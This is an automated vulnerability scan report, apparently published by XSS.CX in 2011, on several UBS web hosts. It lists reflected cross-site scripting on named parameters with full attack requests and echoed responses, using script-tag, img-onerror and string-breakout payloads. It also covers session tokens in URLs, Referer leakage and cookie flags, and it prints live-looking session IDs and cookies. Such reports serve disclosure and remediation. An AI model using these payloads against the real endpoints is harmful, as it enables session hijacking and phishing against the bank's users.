XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, ubs.com

Report generated by XSS.CX at Mon Sep 19 14:08:55 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

1.1. http://keyinvest-us.ubs.com/EN/CombineScriptsHandler.ashx [_TSM_HiddenField_ parameter]

1.2. http://keyinvest.ibb.ubs.com/index.html [destination parameter]

XSS in keyinvest.ibb.ubs.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, BHDB, Javascript Injection, Insecure Programming, Weak Configuration, Browser Hijacking, Phishing

1.3. http://mobile1.ubs.com/quotes/html/e/ [jsessionid parameter]

XSS in mobile1.ubs.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, BHDB, Javascript Injection, Insecure Programming, Weak Configuration, Browser Hijacking, Phishing

1.4. https://quotes-public1.ubs.com/app/ABU/3/QCoreWeb/GRT_3_Dispatch/3.0.0/x/bcqv/main/js/noint/x/bcqv/bcProcessSearch.do [REST URL parameter 9]

1.5. https://quotes-public1.ubs.com/app/ABU/3/QCoreWeb/GRT_3_Dispatch/3.0.0/x/bcqv/main/js/noint/x/bcqv/bcProcessSearch.do [REST URL parameter 9]

2. Session token in URL

2.1. http://mobile1.ubs.com/quotes/html/e

2.2. http://mobile1.ubs.com/quotes/html/e/

2.3. http://mobile1.ubs.com/quotes/html/e/

3. Cross-domain Referer leakage

3.1. http://keyinvest-us.ubs.com/EN/jslib.axd

3.2. http://keyinvest-us.ubs.com/EN/showpage.aspx

3.3. http://keyinvest-us.ubs.com/Scripts/jslib.axd

4. Cookie without HttpOnly flag set

4.1. http://keyinvest-us.ubs.com/EN/Disclaimer.aspx

4.2. http://keyinvest-us.ubs.com/EN/showpage.aspx

5. Email addresses disclosed

6. Cacheable HTTPS response

7. HTML does not specify charset

8. Content type incorrectly stated

8.1. http://keyinvest-us.ubs.com/EN/GenericImage.ashx

8.2. http://keyinvest-us.ubs.com/EN/images/box2_image2.jpg



1. Cross-site scripting (reflected)  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://keyinvest-us.ubs.com/EN/CombineScriptsHandler.ashx [_TSM_HiddenField_ parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://keyinvest-us.ubs.com
Path:   /EN/CombineScriptsHandler.ashx

Issue detail

The value of the _TSM_HiddenField_ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 55903'%3balert(1)//c63f82f22d4 was submitted in the _TSM_HiddenField_ parameter. This input was echoed as 55903';alert(1)//c63f82f22d4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /EN/CombineScriptsHandler.ashx?_TSM_HiddenField_=ctl00_globalScriptManager_HiddenField55903'%3balert(1)//c63f82f22d4&_TSM_CombinedScripts_=%3b%3bAjaxControlToolkit%2c+Version%3d1.0.20229.20821%2c+Culture%3dneutral%2c+PublicKeyToken%3d28f01b0e84b6d53e%3aen-US%3ac5c982cc-4942-4683-9b48-c2c58277700f%3a865923e8%3a91bd373d%3aad1f21ce%3a596d588c%3a411fea1c%3ae7c87f07%3ad72169a4%3a8e72a662%3aacd642d2%3a77c58d20%3a14b56adc%3a269a19ae HTTP/1.1
Host: keyinvest-us.ubs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://keyinvest-us.ubs.com/EN/showpage.aspx?pageID=62
Cookie: ASP.NET_SessionId=unpccz45ctwhigull3urhaqg; BIGipServerUBS2_80=402719498.20480.0000; __utma=58573488.466518492.1316458126.1316458126.1316458126.1; __utmb=58573488; __utmc=58573488; __utmz=58573488.1316458126.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral; AcceptDisclaimer=accepted; UBSRMPDISC=UBSRMPDISC

Response

HTTP/1.1 200 OK
Cache-Control: public
Content-Type: application/x-javascript
Expires: Tue, 18 Sep 2012 13:48:28 GMT
Server: Smarthouse Lightspeed 3
Date: Mon, 19 Sep 2011 13:48:28 GMT
Content-Length: 188444

//START AjaxControlToolkit.Common.Common.js
Type.registerNamespace('AjaxControlToolkit');AjaxControlToolkit.BoxSide = function() {
}
AjaxControlToolkit.BoxSide.prototype = {
Top : 0,
Right : 1,

...[SNIP]...
ND AjaxControlToolkit.ModalPopup.ModalPopupBehavior.js
if(typeof(Sys)!=='undefined')Sys.Application.notifyScriptLoaded();
(function() {var fn = function() {$get('ctl00_globalScriptManager_HiddenField55903';alert(1)//c63f82f22d4').value += ';;AjaxControlToolkit, Version=1.0.20229.20821, Culture=neutral, PublicKeyToken=28f01b0e84b6d53e:en-US:c5c982cc-4942-4683-9b48-c2c58277700f:865923e8:91bd373d:ad1f21ce:596d588c:411fea1c:e7c8
...[SNIP]...

1.2. http://keyinvest.ibb.ubs.com/index.html [destination parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://keyinvest.ibb.ubs.com
Path:   /index.html

Issue detail

The value of the destination request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dcdb0"><script>alert(1)</script>ce1ae2997b4 was submitted in the destination parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.html?language=en&destination=%2Fk2%2Finternal%2FlandingPage.ki%3Fdcdb0"><script>alert(1)</script>ce1ae2997b4 HTTP/1.1
Host: keyinvest.ibb.ubs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 12:30:01 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8d mod_perl/2.0.2 Perl/v5.8.8
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 28594


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML lang=en><HEAD><TITLE>UBS Investment Bank</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-885
...[SNIP]...
<a class="toplink_inactive" HREF="/index.html?language=de&destination=%2Fk2%2Finternal%2FlandingPage.ki%3Fdcdb0"><script>alert(1)</script>ce1ae2997b4"
                                                   onMouseOver="window.status='';return true;"
                                                   onMouseOut="window.status='';return true;"
                                                   title='German' >
...[SNIP]...

1.3. http://mobile1.ubs.com/quotes/html/e/ [jsessionid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mobile1.ubs.com
Path:   /quotes/html/e/

Issue detail

The value of the jsessionid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82048"><script>alert(1)</script>c3ea5e368ff was submitted in the jsessionid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?searchInput=xss82048"><script>alert(1)</script>c3ea5e368ff&instTypeIdx=0&searchButton=Search&action=41&x=1735 HTTP/1.1
Host: mobile1.ubs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://mobile1.ubs.com/quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1/?x=582&action=40
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mbf=e; ubslang=en-US; www-stats=13281a03367.8f6b8a7c; NavLB_PQ=quotes-public1.ubs.com; WT_FPC=id=14.96.186.152-3742983120.30176155:lv=1316480442349:ss=1316479823573; mqpre=SG

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:00:21 GMT
Server: Apache
Content-Language: en
P3P: CP="OTI DSP CURa OUR LEG COM NAV INT"
Content-Length: 1715
Content-Type: text/html;charset=ISO-8859-1
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>Instrument Search</title>
<meta http-equiv="Content-Style-Type" content="text/css">
<style type="text/css">
p,a,td,th,form,body
...[SNIP]...
<input name="searchInput" type="text" size="16" maxlength="60" value="xss82048"><script>alert(1)</script>c3ea5e368ff" >
...[SNIP]...

1.4. https://quotes-public1.ubs.com/app/ABU/3/QCoreWeb/GRT_3_Dispatch/3.0.0/x/bcqv/main/js/noint/x/bcqv/bcProcessSearch.do [REST URL parameter 9]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://quotes-public1.ubs.com
Path:   /app/ABU/3/QCoreWeb/GRT_3_Dispatch/3.0.0/x/bcqv/main/js/noint/x/bcqv/bcProcessSearch.do

Issue detail

The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfdf2"><img%20src%3da%20onerror%3dalert(1)>ae996d3f65 was submitted in the REST URL parameter 9. This input was echoed as cfdf2"><img src=a onerror=alert(1)>ae996d3f65 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /app/ABU/3/QCoreWeb/GRT_3_Dispatch/3.0.0/x/bcqv/maincfdf2"><img%20src%3da%20onerror%3dalert(1)>ae996d3f65/js/noint/x/bcqv/bcProcessSearch.do?first=1&m(searchBySymbol)=1&m(bcvProfile)=BCQV_CH&m(searchInput)=xss&m(lang)=en&NavLB_PQ=1316440723 HTTP/1.1
Host: quotes-public1.ubs.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ubslang=en-US; www-stats=13281a03367.8f6b8a7c; WT_FPC=id=14.96.186.152-3742983120.30176155:lv=1316480392196:ss=1316479823573; NavLB_PQ=quotes-public1.ubs.com

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:00:04 GMT
Server: Apache
Content-Language: en
Cache-Control: public, max-age=300, s-maxage=300
P3P: CP="OTI DSP CURa OUR LEG COM NAV INT"
Expires: Mon, 19 Sep 2011 14:05:04 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 7644


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta http-equiv="content-type" content="text/html; charset=UTF-8">
   <title>
...[SNIP]...
<div id="grt_statistics_maincfdf2"><img src=a onerror=alert(1)>ae996d3f65" style="display:none">
...[SNIP]...

1.5. https://quotes-public1.ubs.com/app/ABU/3/QCoreWeb/GRT_3_Dispatch/3.0.0/x/bcqv/main/js/noint/x/bcqv/bcProcessSearch.do [REST URL parameter 9]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://quotes-public1.ubs.com
Path:   /app/ABU/3/QCoreWeb/GRT_3_Dispatch/3.0.0/x/bcqv/main/js/noint/x/bcqv/bcProcessSearch.do

Issue detail

The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c91f3'%3b411a6a54531 was submitted in the REST URL parameter 9. This input was echoed as c91f3';411a6a54531 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /app/ABU/3/QCoreWeb/GRT_3_Dispatch/3.0.0/x/bcqv/mainc91f3'%3b411a6a54531/js/noint/x/bcqv/bcProcessSearch.do?first=1&m(searchBySymbol)=1&m(bcvProfile)=BCQV_CH&m(searchInput)=xss&m(lang)=en&NavLB_PQ=1316440723 HTTP/1.1
Host: quotes-public1.ubs.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ubslang=en-US; www-stats=13281a03367.8f6b8a7c; WT_FPC=id=14.96.186.152-3742983120.30176155:lv=1316480392196:ss=1316479823573; NavLB_PQ=quotes-public1.ubs.com

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:00:05 GMT
Server: Apache
Content-Language: en
Cache-Control: public, max-age=300, s-maxage=300
P3P: CP="OTI DSP CURa OUR LEG COM NAV INT"
Expires: Mon, 19 Sep 2011 14:05:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 7590


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <meta http-equiv="content-type" content="text/html; charset=UTF-8">
   <title>
...[SNIP]...
/empty.html');
grt_createUFrame('calendar', '/app/ABU/3/QCoreWeb/edgestatic/fw/html/empty.html');grt_setUFrame('calendar');grt_addBoxToHideOnUnderlyingContentChange('calendar');
grt_setBlockTitle('mainc91f3';411a6a54531','','','Quotes');
grt_setUserInfo('');
grt_setTimestamp('September 19, 2011 4:00:05 PM CEST');
grt_setCachingInfo(14356,140,593);
</script>
...[SNIP]...

2. Session token in URL  previous  next
There are 3 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


2.1. http://mobile1.ubs.com/quotes/html/e  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://mobile1.ubs.com
Path:   /quotes/html/e

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /quotes/html/e?action=600 HTTP/1.1
Host: mobile1.ubs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://mobile1.ubs.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mbf=e; ubslang=en-US; www-stats=13281a03367.8f6b8a7c; NavLB_PQ=quotes-public1.ubs.com; WT_FPC=id=14.96.186.152-3742983120.30176155:lv=1316480442349:ss=1316479823573

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 13:59:28 GMT
Server: Apache
Pragma: no-cache
Content-Language: en
Cache-Control: no-cache
P3P: CP="OTI DSP CURa OUR LEG COM NAV INT"
Expires: 0
Content-Length: 2270
Content-Type: text/html;charset=ISO-8859-1
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>Country of residence</title>
<meta http-equiv="Content-Style-Type" content="text/css">
<style type="text/css">
p,a,td,th,form,b
...[SNIP]...
<br />
<a href="http://mobile1.ubs.com/quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?pre=49&action=601&x=1" >+49</a>: Germany<br />
<a href="http://mobile1.ubs.com/quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?pre=33&action=601&x=3" >+33</a>: France<br />
<a href="http://mobile1.ubs.com/quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?pre=44&action=601&x=5" >+44</a>
...[SNIP]...
<br />
<a href="http://mobile1.ubs.com/quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?pre=852&action=601&x=7" >+852</a>: Hong Kong<br />
<a href="http://mobile1.ubs.com/quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?pre=352&action=601&x=9" >+352</a>
...[SNIP]...
<br />
<a href="http://mobile1.ubs.com/quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?pre=41&action=601&x=11" >+41</a>
...[SNIP]...
<br />
<a href="http://mobile1.ubs.com/quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?pre=65&action=601&x=13" >+65</a>
...[SNIP]...

2.2. http://mobile1.ubs.com/quotes/html/e/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://mobile1.ubs.com
Path:   /quotes/html/e/

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?pre=&dom=Continue&action=601&x=14 HTTP/1.1
Host: mobile1.ubs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://mobile1.ubs.com/quotes/html/e?action=600
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mbf=e; ubslang=en-US; www-stats=13281a03367.8f6b8a7c; NavLB_PQ=quotes-public1.ubs.com; WT_FPC=id=14.96.186.152-3742983120.30176155:lv=1316480442349:ss=1316479823573

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 13:59:32 GMT
Server: Apache
Pragma: no-cache
Content-Language: en
Cache-Control: no-cache
P3P: CP="OTI DSP CURa OUR LEG COM NAV INT"
Expires: 0
Content-Length: 633
Content-Type: text/html;charset=ISO-8859-1
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>Error</title>
<meta http-equiv="Content-Style-Type" content="text/css">
<style type="text/css">
p,a,td,th,form,body {font-size:
...[SNIP]...

2.3. http://mobile1.ubs.com/quotes/html/e/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://mobile1.ubs.com
Path:   /quotes/html/e/

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?pre=&dom=Continue&action=601&x=14 HTTP/1.1
Host: mobile1.ubs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://mobile1.ubs.com/quotes/html/e?action=600
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mbf=e; ubslang=en-US; www-stats=13281a03367.8f6b8a7c; NavLB_PQ=quotes-public1.ubs.com; WT_FPC=id=14.96.186.152-3742983120.30176155:lv=1316480442349:ss=1316479823573

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 13:59:32 GMT
Server: Apache
Pragma: no-cache
Content-Language: en
Cache-Control: no-cache
P3P: CP="OTI DSP CURa OUR LEG COM NAV INT"
Expires: 0
Content-Length: 633
Content-Type: text/html;charset=ISO-8859-1
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>Error</title>
<meta http-equiv="Content-Style-Type" content="text/css">
<style type="text/css">
p,a,td,th,form,body {font-size:
...[SNIP]...
<div align=center><a href="http://mobile1.ubs.com/quotes/html/e/;jsessionid=0000XISXX4cr8Iot7qCGcYwwdhn:-1?action=600" >Continue</a>
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 3 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://keyinvest-us.ubs.com/EN/jslib.axd  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://keyinvest-us.ubs.com
Path:   /EN/jslib.axd

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /EN/jslib.axd?d=~/Scripts/frontend.js HTTP/1.1
Host: keyinvest-us.ubs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://keyinvest-us.ubs.com/EN/Disclaimer.aspx?returnUrl=/EN/showpage.aspx?pageID=62
Cookie: ASP.NET_SessionId=unpccz45ctwhigull3urhaqg; BIGipServerUBS2_80=402719498.20480.0000

Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=31449598
Content-Type: text/javascript; charset=utf-8
Expires: Mon, 17 Sep 2012 13:47:23 GMT
Last-Modified: Thu, 25 Aug 2011 16:13:34 GMT
Vary: Accept-Encoding
Server: Smarthouse Lightspeed 3
Date: Mon, 19 Sep 2011 13:47:25 GMT
Content-Length: 36574


var FlashDetect=new function(){var self=this;self.installed=false;self.raw="";self.major=-1;self.minor=-1;self.revision=-1;self.revisionStr="";var activeXDetectRules=[{"name":"ShockwaveFlash.Shockwav
...[SNIP]...
;if(submitButton!=null){if(submitButton.style.display!='none')
{submitButton.focus();}
submitButton.click();}}}}
function createFlashChart(chartName,importer,xmlCreatorPath,isin,type)
{document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="458" height="400" title="Graph">');document.write('<param name="movie" value="Flash/'+chartName+'?path='+importer+'?target='+xmlCreatorPath+'|'+isin+'|'+type+'" />
...[SNIP]...

3.2. http://keyinvest-us.ubs.com/EN/showpage.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://keyinvest-us.ubs.com
Path:   /EN/showpage.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /EN/showpage.aspx?pageID=62 HTTP/1.1
Host: keyinvest-us.ubs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://keyinvest-us.ubs.com/EN/Disclaimer.aspx?returnUrl=/EN/showpage.aspx?pageID=62
Cookie: ASP.NET_SessionId=unpccz45ctwhigull3urhaqg; BIGipServerUBS2_80=402719498.20480.0000; __utma=58573488.466518492.1316458126.1316458126.1316458126.1; __utmb=58573488; __utmc=58573488; __utmz=58573488.1316458126.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral; AcceptDisclaimer=accepted

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Smarthouse Lightspeed 3
Set-Cookie: UBSRMPDISC=UBSRMPDISC; path=/
Date: Mon, 19 Sep 2011 13:47:35 GMT
Content-Length: 100759


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
   UBS Str
...[SNIP]...
<span><OBJECT id=flashObject codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0 type=application/x-shockwave-flash height=80 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000>
<param name="allowScriptAccess" value="always">
...[SNIP]...

3.3. http://keyinvest-us.ubs.com/Scripts/jslib.axd  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://keyinvest-us.ubs.com
Path:   /Scripts/jslib.axd

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /Scripts/jslib.axd?d=frontend.js,mms.js,shcollect.js HTTP/1.1
Host: keyinvest-us.ubs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://keyinvest-us.ubs.com/EN/showpage.aspx?pageID=62
Cookie: ASP.NET_SessionId=unpccz45ctwhigull3urhaqg; BIGipServerUBS2_80=402719498.20480.0000; __utma=58573488.466518492.1316458126.1316458126.1316458126.1; __utmb=58573488; __utmc=58573488; __utmz=58573488.1316458126.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral; AcceptDisclaimer=accepted; UBSRMPDISC=UBSRMPDISC

Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=31399493
Content-Type: text/javascript; charset=utf-8
Expires: Sun, 16 Sep 2012 23:52:30 GMT
Last-Modified: Thu, 25 Aug 2011 16:10:40 GMT
Vary: Accept-Encoding
Server: Smarthouse Lightspeed 3
Date: Mon, 19 Sep 2011 13:47:37 GMT
Content-Length: 99207


var FlashDetect=new function(){var self=this;self.installed=false;self.raw="";self.major=-1;self.minor=-1;self.revision=-1;self.revisionStr="";var activeXDetectRules=[{"name":"ShockwaveFlash.Shockwav
...[SNIP]...
;if(submitButton!=null){if(submitButton.style.display!='none')
{submitButton.focus();}
submitButton.click();}}}}
